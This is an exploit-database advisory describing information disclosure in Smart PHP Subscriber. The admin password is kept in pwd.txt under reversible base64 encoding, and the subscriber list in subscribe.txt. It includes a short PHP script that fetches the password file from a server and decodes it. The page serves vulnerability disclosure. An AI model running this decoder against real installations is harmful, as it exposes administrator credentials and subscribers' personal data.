Smart PHP Subscriber Multiple Disclosure Vulnerabilities

vendor:

Smart PHP Subscriber

by:

Milos Zivanovic

3.3

CVSS

MEDIUM

Multiple Disclosure Vulnerabilities

200

CWE

Product Name: Smart PHP Subscriber

Affected Version From: the only one there is

Affected Version To: the only one there is

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2009

Smart PHP Subscriber Multiple Disclosure Vulnerabilities

Admin password is saved locally in pwd.txt file with some simple encoding. List of subscribed emails is saved locally in subscribe.txt file with base64 encoding. Each line holds info about 1 subscriber.

Mitigation:

Ensure that sensitive information is not stored in plaintext or easily reversible formats.

Source

Exploit-DB raw data:

[#-----------------------------------------------------------------------------------------------#]
[#] Title: Smart PHP Subscriber Multiple Disclosure Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Smart PHP Subscriber
[#] Version: the only one there is
[#] Platform: PHP
[#] Vulnerability: Multiple Disclosure Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Admin password disclosure
 |--Subscribers list disclosure

[*]Admin password disclosure

Admin password is saved locally in pwd.txt file with some simple
encoding. This is the algorithm
used:
base64(base64(password)+"||&@23||password>||&~||")

String in "" (quotes) is constant, so we're able to decode it with
couple lines of code. Here's the
script to decode admins password:

[DECODE-SCRIPT------------------------------------------------------------------------------------]
<?php
  $pwd_file = "http://localhost/smartphps/pwd.txt";
  $half_way = base64_decode(file_get_contents($pwd_file));
  $almost_there = explode("||&@23||password>||&~||", $half_way);
  echo base64_decode($almost_there[0])."\n";
?>
[DECODE-SCRIPT------------------------------------------------------------------------------------]

[-]Subscribers list disclosure

List of subscribed emails is saved locally in subscribe.txt file with
base64 encoding. Each line
holds info about 1 subscriber. Data is inserted in this format:

base64(email)+";"+base64(name)+";"+date("D
d-M-Y")+";"+time()+";"+verified(1 or 0)+";"+line_number

Using regular base64_decode function built in php we can decode emails.

[#] EOF